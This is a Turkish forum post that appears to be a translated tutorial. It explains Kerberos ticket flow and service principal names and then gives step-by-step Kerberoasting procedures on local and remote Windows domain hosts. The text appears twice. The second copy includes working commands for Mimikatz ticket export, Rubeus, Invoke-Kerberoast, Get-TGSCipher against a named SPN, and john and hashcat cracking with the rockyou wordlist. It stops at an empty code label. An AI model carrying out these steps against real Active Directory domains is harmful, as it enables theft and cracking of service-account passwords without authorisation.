- 25 Nis 2020
- 19
- 0
Bu makalede, kerberoasting saldırılarını ve Kerberos kimlik doğrulamasını kötüye kullanmanın diğer çoklu yöntemlerini tartışacağız. Ancak bundan önce, Kerberos kimlik doğrulamasının istemci-sunucu iletişimi arasında nasıl çalıştığını anlamanız gerekir.
"Kerberos yetkilendirme için değil kimlik doğrulama içindir, bu açık, kerberoasting sağlar
İçindekiler
BÖLÜM A: Kerberos Kimlik Doğrulama Akışı
*Kerberos ve Ana Bileşenleri
*İletileri Kullanarak İş Akışı
BÖLÜM B: Hizmet Prensibi Adı SPN
*Hizmet Prensibi Adı SPN
*Önemli Noktalar
*SPN Sözdiziminin Dört Öğesi Vardır
*SPN Türü
BÖLÜM C: Kerberoasting Saldırısı Yönergesi
*Kerberoasting Nedir
*Kerberoasting Ana Adımları
*BÖLÜM 1: Ana Bilgisayar Sisteminde Eski Kerberoasting Prosedürü
*PowerShell Komutu
*Mimikatz
*BÖLÜM 2: Ana Bilgisyara Sisteminde Yeni Kerberoasting Prosedürü
*Rubeus.exe
*ps1 PowerShell Komutu
*BÖLÜM 3:Uzak Sistemde Eski Kerberoasting Prosedürü
*PowerShell Empire
*Métasploit
*BÖLÜM 4:Uzak Sistemde Yeni Kerberoasting Prosedürü
*PowerShell Empire
*Métasploit
*Impacket
BÖLÜM A: Kerberos Kimlik Doğrulama Akışı
Kerberos ve Ana Bileşenleri
Kerberos protokolü, istemcilerin bir ağ kimlik doğrulama hizmeti ile nasıl etkileşime girdiğini tanımlar.İstemciler Kerberos Anahtar Dağıtım Merkezi'nden (KDC) bilet alırlar ve bağlantılar kurulduğunda bu biletleri uygulama sunucularına gönderirler.Varsayılan olarak UDP bağlantı noktası 88 kullanır ve simetrik anahtar şifreleme sürecine bağlıdır.
"Kerberos bir kullanıcının kimliğini doğrulamak için bilet kullanır ve ağ üzerinden parola göndermeyi tamamen önler"
Kerberos kimlik doğrulamasında tüm kimlik doğrulama işleminde önemli bir rol oynayan bazı önemli bileşenler vardır.
İletileri Kullanarak İş Akışı
Active Directory etki alanında, her etki alanı denetleyicisinde Kerberos için tüm bilet isteklerini işleyen bir KDC (Kerberos Dağıtım Merkezi) hizmeti çalışır.Kerberos biletleri için AD, AD etki alanındaki KRBTGT hesabını kullanır.
Aşağıdaki resim, KDC'NİN sunucu ve istemci ile tüm işlem arasında güvenli bir bağlantı kurmada oynadığı ana rolün, yukarıdaki tabloda tanımlandığı gibi bazı özel bileşenler kullandığını göstermektedir.
Yukarıda belirtildiği gibi, Kerberos şifreleme ve şifre çözme için simetrik şifreleme kullanır.Daha fazla ayrıntıya girelim ve şifreli mesajların birbirine nasıl gönderildiğini anlamaya çalışalım.
Hash'ları ayırt etmek için 3 renk kullanırız:
*BLUE _KEY: User NTLM HASH
*YELLOW_KEY: Krbtgt NTLM HASH
*RED_KEY: Service NTLM HASH
Adım 1:İstek mesajını KDC'YE göndererek istemci, iletişimi şu şekilde başlatır:
1.KRB_AS_REQ (Aşağıdakileri İçerir):
*Kimlik doğrulaması yapılacak istemcinin kullanıcı adı.
*Hizmet SPN (Hizmet Asıl Adı) Krbtgt hesabı ile bağlantılıdır.
*Şifreli Bir Zaman Damgası (Locked with User Hash: Blue Key)
Tüm ileti, kullanıcının kimliğini doğrulamak ve yeniden oynatma saldırılarını önlemek için Kullanıcı NTLM hashı (Mavi anahtarla Kilitli) kullanılarak şifrelenir.
Adım 2: KDC, kullanıcı kimliğini doğrulayan bir mesajın şifresini çözmek için Users/Krbtgt/Services hashlarından oluşan bir veritabanı kullanır (mavi anahtarla kilidi açılır).
Daha sonra KDC, Krbtgt hash (Sarı anahtarla kilitli) ve User Hash kullanarak bazı şifreli mesajlar kullanılarak şifrelenmiş bir istemci için TGT (bilet verme bileti) üretecektir.
2.KRB_AS_REP (Aşağıdakileri İçerir):
*Kullanıcı Adı
*Bazı şifreli veriler,(Locked with User Hash: Blue Key) şunları içerir:
*Oturum Anahtarı
*TGT'nin Sona Erme Tarihi
*TGT,(Locked with Krbtgt Hash: Yellow Key) şunları içerir:
*Kullanıcı Adı
*Oturum Anahtarı
*TGT'nin Sona Erme Tarihi
*KDC tarafından imzalanmış, kullanıcı ayrıcalıklarına sahip PAC
Adım 3: KRB_TGT, istemci makinenin Kerberos tray'inde (bellek) depolanır, çünkü kullanıcı zaten TGS isteği için kendini tanımlamak için kullanılan KRB_TGT'YE sahiptir.İstemci, şifreli verilerle birlikte TGT'NİN bir kopyasını KDC'YE gönderdi.
3.KRB_TGS_REQ şunları içerir:
*Oturum anahtarı ile şifrelenmiş veriler
*Kullanıcı Adı
*Zaman Damgası
*TGT
*İstenen Hizmetin SPN'Sİ, Örneğin SQL Hizmeti
Adım 4: KDC, KRB_TGS_REQ mesajını alır ve TGT'yi doğrulamak için Krbtgt hashı kullanarak mesajın şifresini çözer (Sarı anahtar kullanılarak kilidi açılır), daha sonra KDC, istenen hizmet hashı (Kırmızı anahtarla kilitli) ve kullanıcı hashını kullanarak, bazı şifreli mesajlar kullanılarak şifrelenen KRB_TGS_REP olarak bir TGS'ye döndürür.
4.KRB_TGS_REP şunları içerir:
*Kullanıcı Adı
*Oturum Anahtarı ile Şifrelenmiş Veriler
*Hizmet Oturum Anahtarı
*TGS'nin Sona Erme Tarihi
*TGS,(Service Hash:RED Key) şunları içerir:
*Hizmet Oturum Anahtarı
*Kullanıcı Adı
*TGS'nin Sona Erme Tarihi
*KDC tarafından imzalanmış, kullanıcı ayrıcalıklarına sahip PAC
Adım 5: Kullanıcı TGS kopyasını uygulama sunucusuna gönderdi,
5.KRB_AP_REQ şunları içerir:
*TGS
*Oturum Anahtarı ile Şifrelenmiş Veriler
*Kullanıcı Adı
*Zaman Damgası(Tekrar Saldırılarından kaçınmak için)
Adım 6: Uygulama, NTLM hashını kullanarak iletinin şifresini çözmeye ve isteğe bağlı bir durum olan, kullanıcı ayrıcalığını tanımlamak için KDC'DEN PAC'Yİ doğrulamaya çalışır.
Adım 7: KDC, PAC'yi doğrular (isteğe bağlı)
Adım 8: Kullanıcının hizmete belirli bir süre erişmesine izin verin.
BÖLÜM B: Hizmet Prensibi Adı SPN
Hizmet Prensibi Adı
Hizmet Prensibi Adı (SPN), bir hizmet örneği için benzersiz bir tanımlayıcıdır.Active Directory Etki Alanı Hizmetleri ve Windows, bir istemcinin, bir hizmeti doğruladığı Kerberos mekanizmasının temel bileşenleri olan hizmet prensibi adları (Spn'ler) için destek sağlar.
Önemli Noktalar
1.Bir hizmetin birden çok örneğini bir forest boyunca bilgisayarlara yüklerseniz, her örneğin, SPN'si olmalıdır.
2.Kerberos kimlik doğrulama hizmeti bir hizmetin kimliğini doğrulamak için bir SPN kullanmadan önce SPN'nin hesapta kayıtlı olması gerekir.
3.Belirli bir SPN, sadece bir hesapta kaydedilebilir.
4.Bir SPN, kayıtlı olduğu forest'da benzersiz olmalıdır.
5.Benzersiz değilse, kimlik doğrulama başarısız olur.
SPN Sözdiziminin Dört Öğesi Vardır
SPN Türü:
*AD'DEKİ bilgisayar hesabıyla ilişkili ana bilgisayar tabanlı Spn'ler, her 30 günde bir değiştirilen, 128 karakter uzunluğunda rastgele bir şifre oluşturur, bu nedenle Kerberoasting saldırılarda kullanılmaz.
*NTLM hash kullanılacak bir etki alanı kullanıcı hesabı ile ilişkili SPN'ler.
BÖLÜM C: Kerberoasting Saldırısı Yönergesi
Kerberoasting Nedir?
Kerberoasting, brute force uygulama hizmetleri hash şifresini ayıklamak için, bir saldırganın RC4 ile şifrelenen KRB_TGS biletini çalmasına izin veren bir tekniktir.
Yukarıda açıklandığı gibi, Kerberos, verilen hizmet prensibi adları (SPN'ler) için KRB_TGS biletini şifrelemek için istenen hizmetin NTLM hash'ını kullanır.Bir etki alanı kullanıcısı, SPN kayıtlı olan herhangi bir hizmet için etki alanı denetleyicisi KDC'ye TGS bileti isteği gönderdiğinde KDC, istenen hizmete karşı kullanıcı yetkilendirmesini tanımlamadan KRB_TGS oluşturur.
Bir saldırgan,bilet RC4'TE servis hesabının NTLM hash'ı ile şifrelendiğinden servis hesabının parolasına brute force uygulamak için bu bileti çevrimdışı olarak kullanabilir.
Kerberoasting Ana Adımları
Bu saldırı, aşağıda verildiği gibi birden fazla adımı olan bir işlemdir:
Adım 0:Etki alanı ağının istemci sistemine Hook veya Crook ile erişin.
Adım 1:Kayıtlı SPN'yi keşfedin veya tarayın.
Adım 2:Mimikatz veya başka bir araç kullanarak keşfedilen SPN için TGS bileti talep edin.
Adım 3:.kirbi, ccache veya servis hash'ına sahip olabilecek TGS biletini dampingleyin(bazı durumlarda).
Adım 4:.kirbi veya ccache dosyasını cracklenebilir bir biçime dönüştürün.
Adım 5:Brute Force Saldırısı için sözlük kullanın.
Ana bilgisayarda veya uzak sistemde eski ve yeni Kerberoasting gibi 2 saldırı kategorimiz vardır.
Eski Prosedür:Bunlar, birden çok Kerberoasting adımının gerçekleştirildiği tekniklerdir.
Yeni Prosedür:Bunlar Kerberoasting için kullanılan tek adımlı tekniklerdir.
BÖLÜM 1: Ana Bilgisayar Sisteminde Eski Kerberoasting Prosedürü
Yöntem 1owerShell Komutu
Adım 1:SPN Keşfi
Buradan, ana makineden Find-PotentiallyCrackableAccounts.ps1 ve Export-PotentiallyCrackableAccounts.ps1 dosyasını indirin.Bu komutlar SPN'yi keşfedecek ve çıktıyı CSV formatında kaydedecektir.
Başka bir PowerShell komutu "GetUserSPns. ps1" buradan indirin, kullanıcı hesaplarını kullanan SPN'leri keşfetmek için etki alanını sorgulayacaktır,aşağıdaki komut yardımıyla SPN adını bulduğumuzu gözlemleyebilirsiniz.
Modülü PowerShell'e aktarın, burada SQL hizmeti için SPN'yi numaralandırdım.
Adım 2:TGS_ticket'ı ayıklayarak ve dampingleyerek, hash elde edin.
KRB_TGS'İ ana bilgisayar belleğinin içinden tgscipher.ps1 adlı başka bir PowerShell komutu yardımıyla çıkarmaya çalışıyorum. buradan indirebilir ve aynı anda istek çıktısını John formatına dönüştürebilirsiniz.
Sonuç olarak, SQL hizmeti için hash dizesini elde ederiz.
Adım 3: Brute Force Hash
Now, this is the last and desired phase where we have used a dictionary for brute-forcing the HASH, thus we saved above-enumerated hash in a text file and run the following command.
Ve SQL hizmeti için bir şifre alarak başarılı bir Kerberoasting saldırısı yaptık.
Yöntem 2:Mimikatz
Benzer şekilde, tüm saldırı için Mimikatz'ı kullanabilirsiniz, bu da SPN keşfi ve TGS biletini dampinglemek için kullanılabileceği anlamına gelir.
Adım 1:SPN Keşfi
Mimikatz'ı indirin, çalıştırın ve SPN keşfi için Kerberos:liste komutunu çalıştırın.
Adım 2:TGS Bileti Dumplamak
.kirbi uzantısı içeren bileti ayıklanması için export komutunu çalıştırın.
Adım 3:Kirbi'yi Hash ve Brute Force Hash'ına Dönüştürmek
Elde edilen dosyanın adını 1-40a5000 ..kirbi'den raj.kirbi olarak yeniden adlandırdım. Tekrar kirbi2john.py'nin yardımı ile raj.kirbi'yi john formatına dönüştürün, daha sonra yöntem 1'deki gibi john'u brute force için kullanın.
BÖLÜM 2: Ana Bilgisyara Sisteminde Yeni Kerberoasting Prosedürü
Yöntem 1:Rubeus.exe
Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)
Rebeus.exe, aşağıdaki komutun yardımıyla hizmet hash'ı damplayan, TGS ayıklayan ve SPN keşfeden bir Kerberoast modülüyle gelen muhtelem bir araçtır.
Adım 2:Brute Force Hash
Hizmet hash'ını, "hash.txt" metin belgesine kaydettik. Hash'a brute force uygulamak ve hashcat aracını kullanarak hizmet şifresini ayıklamak için bir sözlük kullanın.
Sonuç olarak, hizmetin şifresini çıkardığımızı gözlemleyebilirsiniz.
Yöntem 2:Kerberoast PowerShell Komutu
Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)
Kerberoast. ps1, yukarıdaki modüle benzer bir PowerShell komutudur, SPN'yi keşfeder, TGS ayıklar ve hizmet hash'ı dumplar, aşağıdaki komutun yardımıyla yapılabilir.
Hizmet hash'ını aldıktan sonra şifreye brute force uygulamak için yukarıdaki yöntemi izleyin.
Adım 2:Brute Force Hash
Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.
BÖLÜM 3:Uzak Sistemde Eski Kerberoasting Prosedürü
Yöntem 1:Métasploit
1.Meterpreter Üzerinden PowerShell Komutu
Adım 1:SPN Keşfi
Yerel makinenize Find-PotentiallyCrackableAccounts.ps1 ve Export-PotentiallyCrackableAccounts.ps1'i indirin ve meterpreter oturumu aracılığıyla ana makineye upload edin, ardından komut dosyasını uzaktan çalıştırmak için PowerShell'i çalıştırın.
Bu komutlar SPN'yi keşfedecek ve çıktıyı CSV formatında kaydedecektir.
Yerel makinenize Report.csv'yi indirin.
Report.csv dosyası ana sistemde bulunan SPN'leri listeleyecektir.
SetSPN-SPN Keşif Programı
Başka bir yöntem, ana makineyle uzlaşarak meterpreter oturumu elde edin ve PowerShell'i yükleyin.Etki alanındaki tüm SPN'leri listelemek için setspn programını kullanın.
Görebileceğiniz gibi yine SQL Hizmeti için SPN'yi keşfettik.
Adım 2:Ayıklama, TGS_ticket Dump'ı ve Hash Elde Edimi
PowerShell komut dosyasını TGSCipher.ps1 " upload edin ve aynı anda istek çıktısını John formatına dönüştürün.
Sonuç olarak, SQL hizmeti için hash dizesini elde ederiz.
Adım 3:Brute Force Hash
Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.
2.Métasploit Üzerinden Mimikatz
Ana sistemin meterpreter oturumuna sahip olduktan sonra mimikatz.exe'yi upload etmeyi deneyebilirsiniz ve sonra bölüm C Bölüm 1'de açıklanan tüm adımları gerçekleştirin.
Adım 1:SPN Keşfi
Mimikatz'ı indirin, çalıştırın ve SPN keşfi için Kerberos:liste komutunu çalıştırın.
Adım 2:TGS Biletini Dumplamak
.kirbi uzantısı içeren bileti ayıklanması için export komutunu çalıştırın.
Kirbi dosyasını yerel makinenize indirerek cracklenebilir biçime dönüştürün.
Adım 3:Kirbi'yi Hash ve Brute Force Hash'ına Dönüştürmek
Elde edilen dosyanın adını 1-40a5000 ..kirbi'den raj.kirbi olarak yeniden adlandırdım. Tekrar kirbi2john.py'nin yardımı ile raj.kirbi'yi john formatına dönüştürün, daha sonra yukarıdaki gibi john'u brute force için kullanın.
Yöntem 2owerShell Empire
Adım 1:SPN keşfi,setspn kullanın, yukarıdaki yöntemi izleyin (bu modülde isteğe bağlı)
Adım 2:Ayıklama, TGS_ticket Dump'ı ve Hash Elde Edimi
Empire aracına sahip olduğunuzda,TGS bileti için .kirbi format dosyasını ayıklayacak olan aşağıdaki modülü çalıştırın.
Adım 3:Kirbi'yi Hash ve Brute Force Hash'ına Dönüştürmek
tgscrack.py, .kirbi formatını cracklenebilir formata dönüştüren özel bir python komutudur.Buradan indirin ve aşağıdaki komutları çalıştırın.
BÖLÜM 4:Uzak Sistemde Yeni Kerberoasting Prosedürü
Yöntem 1owerShell Empire
Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)
Empire/agent'a sahip olduktan sonra, invoke_kerberoast modülünü yükleyin, SPN keşfettiği, bilet ayıkladığı ve hizmet hash'ını TGS şifresinin içinden boşalttığı için harika bir modüldür.
Gördüğünüz gibi hizmet hash'ını saniyeler içinde dumpladı.
Adım 2:Brute Force Hash
Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.
Yöntem 2:Métasploit
Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)
Eğer métasploit arayüzünü seviyorsanız, bir meterpreter oturumu aldıktan sonra PowerShell'i yükleyebilir ve kerberoast.ps1 komutunu upload edebilirsiniz.
Adım 2:Brute Force Hash
Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.
Yöntem 3:Impacket
Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)
Impacket dahili modülü GetUSerSPNs.py kullanın.Bu, hizmet hash'ı dumplayan, TGS ayıklayan ve SPN keşfeden bir python komutudur.Aşağıdaki komutun yardımıyla yapılabilir.
Hizmet hash'ını dumplayacaktır.Sözlüğün de yardımıyla hizmet şifrelerini ayıklamak için brute force uygulayabilirsiniz.
Adım 2:Brute Force Hash
Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.
"Kerberos yetkilendirme için değil kimlik doğrulama içindir, bu açık, kerberoasting sağlar
İçindekiler
BÖLÜM A: Kerberos Kimlik Doğrulama Akışı
*Kerberos ve Ana Bileşenleri
*İletileri Kullanarak İş Akışı
BÖLÜM B: Hizmet Prensibi Adı SPN
*Hizmet Prensibi Adı SPN
*Önemli Noktalar
*SPN Sözdiziminin Dört Öğesi Vardır
*SPN Türü
BÖLÜM C: Kerberoasting Saldırısı Yönergesi
*Kerberoasting Nedir
*Kerberoasting Ana Adımları
*BÖLÜM 1: Ana Bilgisayar Sisteminde Eski Kerberoasting Prosedürü
*PowerShell Komutu
*Mimikatz
*BÖLÜM 2: Ana Bilgisyara Sisteminde Yeni Kerberoasting Prosedürü
*Rubeus.exe
*ps1 PowerShell Komutu
*BÖLÜM 3:Uzak Sistemde Eski Kerberoasting Prosedürü
*PowerShell Empire
*Métasploit
*BÖLÜM 4:Uzak Sistemde Yeni Kerberoasting Prosedürü
*PowerShell Empire
*Métasploit
*Impacket
BÖLÜM A: Kerberos Kimlik Doğrulama Akışı
Kerberos ve Ana Bileşenleri
Kerberos protokolü, istemcilerin bir ağ kimlik doğrulama hizmeti ile nasıl etkileşime girdiğini tanımlar.İstemciler Kerberos Anahtar Dağıtım Merkezi'nden (KDC) bilet alırlar ve bağlantılar kurulduğunda bu biletleri uygulama sunucularına gönderirler.Varsayılan olarak UDP bağlantı noktası 88 kullanır ve simetrik anahtar şifreleme sürecine bağlıdır.
"Kerberos bir kullanıcının kimliğini doğrulamak için bilet kullanır ve ağ üzerinden parola göndermeyi tamamen önler"
Kerberos kimlik doğrulamasında tüm kimlik doğrulama işleminde önemli bir rol oynayan bazı önemli bileşenler vardır.
İletileri Kullanarak İş Akışı
Active Directory etki alanında, her etki alanı denetleyicisinde Kerberos için tüm bilet isteklerini işleyen bir KDC (Kerberos Dağıtım Merkezi) hizmeti çalışır.Kerberos biletleri için AD, AD etki alanındaki KRBTGT hesabını kullanır.
Aşağıdaki resim, KDC'NİN sunucu ve istemci ile tüm işlem arasında güvenli bir bağlantı kurmada oynadığı ana rolün, yukarıdaki tabloda tanımlandığı gibi bazı özel bileşenler kullandığını göstermektedir.
Yukarıda belirtildiği gibi, Kerberos şifreleme ve şifre çözme için simetrik şifreleme kullanır.Daha fazla ayrıntıya girelim ve şifreli mesajların birbirine nasıl gönderildiğini anlamaya çalışalım.
Hash'ları ayırt etmek için 3 renk kullanırız:
*BLUE _KEY: User NTLM HASH
*YELLOW_KEY: Krbtgt NTLM HASH
*RED_KEY: Service NTLM HASH
Adım 1:İstek mesajını KDC'YE göndererek istemci, iletişimi şu şekilde başlatır:
1.KRB_AS_REQ (Aşağıdakileri İçerir):
*Kimlik doğrulaması yapılacak istemcinin kullanıcı adı.
*Hizmet SPN (Hizmet Asıl Adı) Krbtgt hesabı ile bağlantılıdır.
*Şifreli Bir Zaman Damgası (Locked with User Hash: Blue Key)
Tüm ileti, kullanıcının kimliğini doğrulamak ve yeniden oynatma saldırılarını önlemek için Kullanıcı NTLM hashı (Mavi anahtarla Kilitli) kullanılarak şifrelenir.
Adım 2: KDC, kullanıcı kimliğini doğrulayan bir mesajın şifresini çözmek için Users/Krbtgt/Services hashlarından oluşan bir veritabanı kullanır (mavi anahtarla kilidi açılır).
Daha sonra KDC, Krbtgt hash (Sarı anahtarla kilitli) ve User Hash kullanarak bazı şifreli mesajlar kullanılarak şifrelenmiş bir istemci için TGT (bilet verme bileti) üretecektir.
2.KRB_AS_REP (Aşağıdakileri İçerir):
*Kullanıcı Adı
*Bazı şifreli veriler,(Locked with User Hash: Blue Key) şunları içerir:
*Oturum Anahtarı
*TGT'nin Sona Erme Tarihi
*TGT,(Locked with Krbtgt Hash: Yellow Key) şunları içerir:
*Kullanıcı Adı
*Oturum Anahtarı
*TGT'nin Sona Erme Tarihi
*KDC tarafından imzalanmış, kullanıcı ayrıcalıklarına sahip PAC
Adım 3: KRB_TGT, istemci makinenin Kerberos tray'inde (bellek) depolanır, çünkü kullanıcı zaten TGS isteği için kendini tanımlamak için kullanılan KRB_TGT'YE sahiptir.İstemci, şifreli verilerle birlikte TGT'NİN bir kopyasını KDC'YE gönderdi.
3.KRB_TGS_REQ şunları içerir:
*Oturum anahtarı ile şifrelenmiş veriler
*Kullanıcı Adı
*Zaman Damgası
*TGT
*İstenen Hizmetin SPN'Sİ, Örneğin SQL Hizmeti
Adım 4: KDC, KRB_TGS_REQ mesajını alır ve TGT'yi doğrulamak için Krbtgt hashı kullanarak mesajın şifresini çözer (Sarı anahtar kullanılarak kilidi açılır), daha sonra KDC, istenen hizmet hashı (Kırmızı anahtarla kilitli) ve kullanıcı hashını kullanarak, bazı şifreli mesajlar kullanılarak şifrelenen KRB_TGS_REP olarak bir TGS'ye döndürür.
4.KRB_TGS_REP şunları içerir:
*Kullanıcı Adı
*Oturum Anahtarı ile Şifrelenmiş Veriler
*Hizmet Oturum Anahtarı
*TGS'nin Sona Erme Tarihi
*TGS,(Service Hash:RED Key) şunları içerir:
*Hizmet Oturum Anahtarı
*Kullanıcı Adı
*TGS'nin Sona Erme Tarihi
*KDC tarafından imzalanmış, kullanıcı ayrıcalıklarına sahip PAC
Adım 5: Kullanıcı TGS kopyasını uygulama sunucusuna gönderdi,
5.KRB_AP_REQ şunları içerir:
*TGS
*Oturum Anahtarı ile Şifrelenmiş Veriler
*Kullanıcı Adı
*Zaman Damgası(Tekrar Saldırılarından kaçınmak için)
Adım 6: Uygulama, NTLM hashını kullanarak iletinin şifresini çözmeye ve isteğe bağlı bir durum olan, kullanıcı ayrıcalığını tanımlamak için KDC'DEN PAC'Yİ doğrulamaya çalışır.
Adım 7: KDC, PAC'yi doğrular (isteğe bağlı)
Adım 8: Kullanıcının hizmete belirli bir süre erişmesine izin verin.
BÖLÜM B: Hizmet Prensibi Adı SPN
Hizmet Prensibi Adı
Hizmet Prensibi Adı (SPN), bir hizmet örneği için benzersiz bir tanımlayıcıdır.Active Directory Etki Alanı Hizmetleri ve Windows, bir istemcinin, bir hizmeti doğruladığı Kerberos mekanizmasının temel bileşenleri olan hizmet prensibi adları (Spn'ler) için destek sağlar.
Önemli Noktalar
1.Bir hizmetin birden çok örneğini bir forest boyunca bilgisayarlara yüklerseniz, her örneğin, SPN'si olmalıdır.
2.Kerberos kimlik doğrulama hizmeti bir hizmetin kimliğini doğrulamak için bir SPN kullanmadan önce SPN'nin hesapta kayıtlı olması gerekir.
3.Belirli bir SPN, sadece bir hesapta kaydedilebilir.
4.Bir SPN, kayıtlı olduğu forest'da benzersiz olmalıdır.
5.Benzersiz değilse, kimlik doğrulama başarısız olur.
SPN Sözdiziminin Dört Öğesi Vardır
SPN Türü:
*AD'DEKİ bilgisayar hesabıyla ilişkili ana bilgisayar tabanlı Spn'ler, her 30 günde bir değiştirilen, 128 karakter uzunluğunda rastgele bir şifre oluşturur, bu nedenle Kerberoasting saldırılarda kullanılmaz.
*NTLM hash kullanılacak bir etki alanı kullanıcı hesabı ile ilişkili SPN'ler.
BÖLÜM C: Kerberoasting Saldırısı Yönergesi
Kerberoasting Nedir?
Kerberoasting, brute force uygulama hizmetleri hash şifresini ayıklamak için, bir saldırganın RC4 ile şifrelenen KRB_TGS biletini çalmasına izin veren bir tekniktir.
Yukarıda açıklandığı gibi, Kerberos, verilen hizmet prensibi adları (SPN'ler) için KRB_TGS biletini şifrelemek için istenen hizmetin NTLM hash'ını kullanır.Bir etki alanı kullanıcısı, SPN kayıtlı olan herhangi bir hizmet için etki alanı denetleyicisi KDC'ye TGS bileti isteği gönderdiğinde KDC, istenen hizmete karşı kullanıcı yetkilendirmesini tanımlamadan KRB_TGS oluşturur.
Bir saldırgan,bilet RC4'TE servis hesabının NTLM hash'ı ile şifrelendiğinden servis hesabının parolasına brute force uygulamak için bu bileti çevrimdışı olarak kullanabilir.
Kerberoasting Ana Adımları
Bu saldırı, aşağıda verildiği gibi birden fazla adımı olan bir işlemdir:
Adım 0:Etki alanı ağının istemci sistemine Hook veya Crook ile erişin.
Adım 1:Kayıtlı SPN'yi keşfedin veya tarayın.
Adım 2:Mimikatz veya başka bir araç kullanarak keşfedilen SPN için TGS bileti talep edin.
Adım 3:.kirbi, ccache veya servis hash'ına sahip olabilecek TGS biletini dampingleyin(bazı durumlarda).
Adım 4:.kirbi veya ccache dosyasını cracklenebilir bir biçime dönüştürün.
Adım 5:Brute Force Saldırısı için sözlük kullanın.
Ana bilgisayarda veya uzak sistemde eski ve yeni Kerberoasting gibi 2 saldırı kategorimiz vardır.
Eski Prosedür:Bunlar, birden çok Kerberoasting adımının gerçekleştirildiği tekniklerdir.
Yeni Prosedür:Bunlar Kerberoasting için kullanılan tek adımlı tekniklerdir.
BÖLÜM 1: Ana Bilgisayar Sisteminde Eski Kerberoasting Prosedürü
Yöntem 1owerShell Komutu
Adım 1:SPN Keşfi
Buradan, ana makineden Find-PotentiallyCrackableAccounts.ps1 ve Export-PotentiallyCrackableAccounts.ps1 dosyasını indirin.Bu komutlar SPN'yi keşfedecek ve çıktıyı CSV formatında kaydedecektir.
Kod:
Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts.ps1 -FullData -Verbose
Import-Module .\Export-PotentiallyCrackableAccounts.ps1
Export-PotentiallyCrackableAccounts
Başka bir PowerShell komutu "GetUserSPns. ps1" buradan indirin, kullanıcı hesaplarını kullanan SPN'leri keşfetmek için etki alanını sorgulayacaktır,aşağıdaki komut yardımıyla SPN adını bulduğumuzu gözlemleyebilirsiniz.
Kod:
.\GetUserSPns .ps1
Modülü PowerShell'e aktarın, burada SQL hizmeti için SPN'yi numaralandırdım.
Adım 2:TGS_ticket'ı ayıklayarak ve dampingleyerek, hash elde edin.
KRB_TGS'İ ana bilgisayar belleğinin içinden tgscipher.ps1 adlı başka bir PowerShell komutu yardımıyla çıkarmaya çalışıyorum. buradan indirebilir ve aynı anda istek çıktısını John formatına dönüştürebilirsiniz.
Kod:
Get-TGSCipher -SPN "WIN-S0V7KMTVLD2/SVC_SQLService.ignite.local:60111" -Format John
Sonuç olarak, SQL hizmeti için hash dizesini elde ederiz.
Adım 3: Brute Force Hash
Now, this is the last and desired phase where we have used a dictionary for brute-forcing the HASH, thus we saved above-enumerated hash in a text file and run the following command.
Kod:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Ve SQL hizmeti için bir şifre alarak başarılı bir Kerberoasting saldırısı yaptık.
Yöntem 2:Mimikatz
Benzer şekilde, tüm saldırı için Mimikatz'ı kullanabilirsiniz, bu da SPN keşfi ve TGS biletini dampinglemek için kullanılabileceği anlamına gelir.
Adım 1:SPN Keşfi
Mimikatz'ı indirin, çalıştırın ve SPN keşfi için Kerberos:liste komutunu çalıştırın.
Kod:
./mimikatz.exe
kerberos::list
Adım 2:TGS Bileti Dumplamak
.kirbi uzantısı içeren bileti ayıklanması için export komutunu çalıştırın.
Kod:
kerberos::list /export
Adım 3:Kirbi'yi Hash ve Brute Force Hash'ına Dönüştürmek
Elde edilen dosyanın adını 1-40a5000 ..kirbi'den raj.kirbi olarak yeniden adlandırdım. Tekrar kirbi2john.py'nin yardımı ile raj.kirbi'yi john formatına dönüştürün, daha sonra yöntem 1'deki gibi john'u brute force için kullanın.
Kod:
mv "1-40a5000
..kirbi" "raj.kirbi"
/usr/share/john/kirbi2john.py raj.kirbi > kirbihash
john --wordlist=/usr/share/wordlists/rockyou.txt kirbihash
BÖLÜM 2: Ana Bilgisyara Sisteminde Yeni Kerberoasting Prosedürü
Yöntem 1:Rubeus.exe
Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)
Rebeus.exe, aşağıdaki komutun yardımıyla hizmet hash'ı damplayan, TGS ayıklayan ve SPN keşfeden bir Kerberoast modülüyle gelen muhtelem bir araçtır.
Kod:
./Rubeus.exe kerberoast /outfile:hash.txt
Adım 2:Brute Force Hash
Hizmet hash'ını, "hash.txt" metin belgesine kaydettik. Hash'a brute force uygulamak ve hashcat aracını kullanarak hizmet şifresini ayıklamak için bir sözlük kullanın.
Kod:
hashcat -m 13100 --force -a 0 hash.txt dict.txt
Sonuç olarak, hizmetin şifresini çıkardığımızı gözlemleyebilirsiniz.
Yöntem 2:Kerberoast PowerShell Komutu
Adım 1:SPN Keşfi, TGS Dump'ı, Hash elde edimi(Hepsi tek seferde)
Kerberoast. ps1, yukarıdaki modüle benzer bir PowerShell komutudur, SPN'yi keşfeder, TGS ayıklar ve hizmet hash'ı dumplar, aşağıdaki komutun yardımıyla yapılabilir.
Kod:
Import-Module .\Invoke-kerberoast.ps1
Invoke-kerberoast
Hizmet hash'ını aldıktan sonra şifreye brute force uygulamak için yukarıdaki yöntemi izleyin.
Adım 2:Brute Force Hash
Yine hashlara brute force uygulamak için aynı prosedürü tekrarlayın.
BÖLÜM 3:Uzak Sistemde Eski Kerberoasting Prosedürü
Yöntem 1:Métasploit
1.Meterpreter Üzerinden PowerShell Komutu
Adım 1:SPN Keşfi
Yerel makinenize Find-PotentiallyCrackableAccounts.ps1 ve Export-PotentiallyCrackableAccounts.ps1'i indirin ve meterpreter oturumu aracılığıyla ana makineye upload edin, ardından komut dosyasını uzaktan çalıştırmak için PowerShell'i çalıştırın.
Bu komutlar SPN'yi keşfedecek ve çıktıyı CSV formatında kaydedecektir.
Kod:
